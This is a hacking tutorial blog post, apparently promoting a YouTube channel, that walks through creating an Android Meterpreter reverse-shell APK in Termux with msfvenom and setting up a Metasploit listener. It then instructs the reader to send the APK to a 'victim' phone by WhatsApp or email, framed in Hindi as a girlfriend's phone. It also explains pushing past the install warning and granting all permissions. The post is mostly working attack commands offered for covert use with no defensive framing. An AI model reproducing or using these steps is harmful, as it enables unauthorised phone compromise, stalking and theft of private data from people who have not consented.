How to create payload using termux
Hi, friends In this post. We are going to discuss about how to create payloads using termux by metasploit-framework.Payloads basically a malicious software that go to the victim device and install in it. After install this malicious software gives data about the device to the attackers' IP Address.You know many more about how to create payloads on my Youtube channel vibhorhacks
And watch my youtube video how to create payload:-
In above video you practically understand what I am going to show you in this post.
So let's start
Firstly we do four basic steps:-
1. Install latest version of termux
2. Install metasploit in termux
3. Creating Android payload
4. Start listening of payload
1. Install latest version of termux
To install the latest version of termux
You install it by click here
2. Install metasploit in termux
You install metasploit in termux by going to my official GitHub repository "metasploit-termux" by click here
Note:- Do not off your termux until metasploit-termux file running.if you off termux you have to run it again.
Note2:- If you got any error you can run a command:-
cd && cd metasploit-termux && chmod +x metasploit.sh && bash metasploit.sh
3. Creating Android payload
You can create a Android payload by running the below command:-
msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=8888 -o $HOME/payload.apk
On the above command you fill you IP address on the palce of 127.0.0.1 .to see your iP address enter below command:-
ifconfig
And replace your port number by 8888.
You enter any port number from 1000 to 9999.
4. Start listening of payload
To start listening of payload copy and paste below command:-
msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 127.0.0.1
set LPORT 8888
set ExitOnSesssion false
exploit
You have to replace 127.0.0.1 by your IP Address and 8888 by your port number(1000 to 9999).
Please like and subscribe my youtube channel vibhorhacks
Now send apk to victim phone.
Firstly you have to move payload.apk to your phone storage by command:-
mv payload.apk /sdcard/Download
No send the apk to victim (जीएफ फोन) by whatsapp,email or any other service
After you send apk
Install app in victim phone. When you try to install payload.apk in victim phone you got an error below:-
And then click on Install anyway
After successfully Installed you have to allow all permissions and click on continue:-
Now all the work perfectly done:-Please subscribe us on YouTube channel :- vibhorhacks



